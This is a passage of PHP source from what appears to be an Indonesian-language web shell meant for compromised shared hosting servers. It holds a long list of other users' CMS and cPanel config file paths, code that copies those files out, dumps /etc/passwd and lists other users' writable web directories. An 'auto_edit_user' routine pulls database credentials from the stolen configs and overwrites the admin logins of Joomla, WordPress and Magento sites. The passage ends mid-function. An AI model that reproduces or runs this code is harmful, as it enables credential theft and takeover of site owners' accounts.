1756 "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1757 "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1758 "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1759 "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1760 "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1761 "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1762 "/home1/$user_cox/.my.cnf" => "cpanel",
1763 "/home1/$user_cox/.accesshash" => "WHM-accesshash",
1764 "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1765 "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1766 "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1767 "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1768 "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1769 "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
1770 "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1771 "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1772 "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
1773 "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
1774 "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
1775 "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
1776 "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1777 "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1778 "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
1779 "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1780 "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1781 "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
1782 "/home1/$user_cox/public_html/configuration.php" => "Joomla",
1783 "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1784 "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1785 "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1786 "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1787 "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1788 "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1789 "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1790 "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1791 "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1792 "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1793 "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1794 "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1795 "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1796 "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1797 "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1798 "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1799 "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1800 "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1801 "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1802 "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1803 "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1804 "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1805 "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1806 "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1807 "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1808 "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1809 "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1810 "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1811 "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1812 "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1813 "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1814 "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1815 "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1816 "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1817 "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1818 "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1819 "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
1820 "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1821 "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1822 "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1823 "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1824 "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1825 "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1826 "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1827 "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1828 "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1829 "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1830 "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1831 "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1832 "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1833 "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1834 "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1835 "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1836 "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1837 "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1838 "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1839 "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1840 "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1841 "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1842 "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1843 "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1844 "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1845 "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1846 "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1847 "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1848 "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1849 "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1850 "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1851 "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1852 "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1853 "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1854 "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1855 "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1856 "/home2/$user_cox/.my.cnf" => "cpanel",
1857 "/home2/$user_cox/.accesshash" => "WHM-accesshash",
1858 "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1859 "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1860 "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1861 "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1862 "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1863 "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
1864 "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1865 "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1866 "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
1867 "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
1868 "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
1869 "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
1870 "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1871 "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1872 "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
1873 "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1874 "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1875 "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
1876 "/home2/$user_cox/public_html/configuration.php" => "Joomla",
1877 "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1878 "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1879 "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1880 "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1881 "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1882 "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1883 "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1884 "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1885 "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1886 "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1887 "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1888 "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1889 "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1890 "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1891 "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1892 "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1893 "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1894 "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1895 "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1896 "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1897 "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1898 "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1899 "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1900 "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1901 "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1902 "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1903 "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1904 "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1905 "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1906 "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1907 "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1908 "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1909 "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1910 "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1911 "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1912 "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1913 "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
1914 "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1915 "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1916 "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1917 "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1918 "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1919 "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1920 "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1921 "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1922 "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1923 "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1924 "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1925 "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1926 "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1927 "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1928 "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1929 "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1930 "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1931 "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1932 "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1933 "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1934 "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1935 "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1936 "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1937 "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1938 "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1939 "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1940 "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1941 "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1942 "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1943 "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1944 "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1945 "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1946 "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1947 "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1948 "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1949 "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1950 "/home3/$user_cox/.my.cnf" => "cpanel",
1951 "/home3/$user_cox/.accesshash" => "WHM-accesshash",
1952 "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1953 "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1954 "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1955 "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1956 "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1957 "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
1958 "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1959 "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1960 "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
1961 "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
1962 "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
1963 "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
1964 "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1965 "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1966 "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
1967 "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1968 "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1969 "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
1970 "/home3/$user_cox/public_html/configuration.php" => "Joomla",
1971 "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1972 "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1973 "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1974 "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1975 "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1976 "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1977 "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1978 "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1979 "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1980 "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1981 "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1982 "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1983 "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1984 "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1985 "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1986 "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1987 "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1988 "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1989 "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1990 "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1991 "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1992 "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1993 "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1994 "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1995 "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1996 "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1997 "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1998 "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1999 "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
2000 "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
2001 "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
2002 "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
2003 "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
2004 "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
2005 "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
2006 "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
2007 "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
2008 "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
2009 "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
2010 "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
2011 "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
2012 "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
2013 "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
2014 "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
2015 "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
2016 "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
2017 "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
2018 "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
2019 "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
2020 "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
2021 "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
2022 "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
2023 "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
2024 "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
2025 "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
2026 "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
2027 "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
2028 "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
2029 "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
2030 "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
2031 "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
2032 "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
2033 "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
2034 "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
2035 "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
2036 "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
2037 "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
2038 "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
2039 "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
2040 "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
2041 "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
2042 "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
2043 "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
2044 );
2045 foreach($grab_config as $config => $nama_config) {
2046 $ambil_config = file_get_contents($config);
2047 if($ambil_config == '') {
2048 } else {
2049 $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
2050 fputs($file_config,$ambil_config);
2051 }
2052 }
2053 }
2054 }
2055 echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
2056 }else{
2057
2058 echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
2059 echo file_get_contents('/etc/passwd');
2060 echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
2061 }
2062} elseif($_GET['do'] == 'jumping') {
2063 $i = 0;
2064 echo "<pre><div class='margin: 5px auto;'>";
2065 $etc = fopen("/etc/passwd", "r");
2066 while($passwd = fgets($etc)) {
2067 if($passwd == '' || !$etc) {
2068 echo "<font color=red>Can't read /etc/passwd</font>";
2069 } else {
2070 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
2071 foreach($user_jumping[1] as $user_idx_jump) {
2072 $user_jumping_dir = "/home/$user_idx_jump/public_html";
2073 if(is_readable($user_jumping_dir)) {
2074 $i++;
2075 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
2076 if(is_writable($user_jumping_dir)) {
2077 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
2078 }
2079 echo $jrw;
2080 $domain_jump = file_get_contents("/etc/named.conf");
2081 if($domain_jump == '') {
2082 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
2083 } else {
2084 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
2085 foreach($domains_jump[1] as $dj) {
2086 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
2087 $user_jumping_url = $user_jumping_url['name'];
2088 if($user_jumping_url == $user_idx_jump) {
2089 echo " => ( <u>$dj</u> )<br>";
2090 break;
2091 }
2092 }
2093 }
2094 }
2095 }
2096 }
2097 }
2098 if($i == 0) {
2099 } else {
2100 echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])." :v";
2101 }
2102 echo "</div></pre>";
2103}
2104 elseif($_GET['do'] == 'auto_edit_user') {
2105 if($_POST['hajar']) {
2106 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
2107 echo "username atau password harus lebih dari 6 karakter";
2108 } else {
2109 $user_baru = $_POST['user_baru'];
2110 $pass_baru = md5($_POST['pass_baru']);
2111 $conf = $_POST['config_dir'];
2112 $scan_conf = scandir($conf);
2113 foreach($scan_conf as $file_conf) {
2114 if(!is_file("$conf/$file_conf")) continue;
2115 $config = file_get_contents("$conf/$file_conf");
2116 if(preg_match("/JConfig|joomla/",$config)) {
2117 $dbhost = ambilkata($config,"host = '","'");
2118 $dbuser = ambilkata($config,"user = '","'");
2119 $dbpass = ambilkata($config,"password = '","'");
2120 $dbname = ambilkata($config,"db = '","'");
2121 $dbprefix = ambilkata($config,"dbprefix = '","'");
2122 $prefix = $dbprefix."users";
2123 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2124 $db = mysql_select_db($dbname);
2125 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2126 $result = mysql_fetch_array($q);
2127 $id = $result['id'];
2128 $site = ambilkata($config,"sitename = '","'");
2129 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
2130 echo "Config => ".$file_conf."<br>";
2131 echo "CMS => Joomla<br>";
2132 if($site == '') {
2133 echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
2134 } else {
2135 echo "Sitename => $site<br>";
2136 }
2137 if(!$update OR !$conn OR !$db) {
2138 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2139 } else {
2140 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2141 }
2142 mysql_close($conn);
2143 } elseif(preg_match("/WordPress/",$config)) {
2144 $dbhost = ambilkata($config,"DB_HOST', '","'");
2145 $dbuser = ambilkata($config,"DB_USER', '","'");
2146 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2147 $dbname = ambilkata($config,"DB_NAME', '","'");
2148 $dbprefix = ambilkata($config,"table_prefix = '","'");
2149 $prefix = $dbprefix."users";
2150 $option = $dbprefix."options";
2151 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2152 $db = mysql_select_db($dbname);
2153 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2154 $result = mysql_fetch_array($q);
2155 $id = $result[ID];
2156 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2157 $result2 = mysql_fetch_array($q2);
2158 $target = $result2[option_value];
2159 if($target == '') {
2160 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2161 } else {
2162 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
2163 }
2164 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
2165 echo "Config => ".$file_conf."<br>";
2166 echo "CMS => Wordpress<br>";
2167 echo $url_target;
2168 if(!$update OR !$conn OR !$db) {
2169 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2170 } else {
2171 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2172 }
2173 mysql_close($conn);
2174 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
2175 $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
2176 $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
2177 $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
2178 $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
2179 $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
2180 $prefix = $dbprefix."admin_user";
2181 $option = $dbprefix."core_config_data";
2182 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2183 $db = mysql_select_db($dbname);
2184 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
2185 $result = mysql_fetch_array($q);
2186 $id = $result[user_id];
2187 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
2188 $result2 = mysql_fetch_array($q2);
2189 $target = $result2[value];
2190 if($target == '') {
2191 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2192 } else {
2193 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
2194 }
2195 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
2196 echo "Config => ".$file_conf."<br>";
2197 echo "CMS => Magento<br>";
2198 echo $url_target;
2199 if(!$update OR !$conn OR !$db) {
2200 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2201 } else {
2202 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2203 }
2204 mysql_close($conn);
2205 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
2206 $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
2207 $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
2208 $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
2209 $dbname = ambilkata($config,"'DB_DATABASE', '","'");
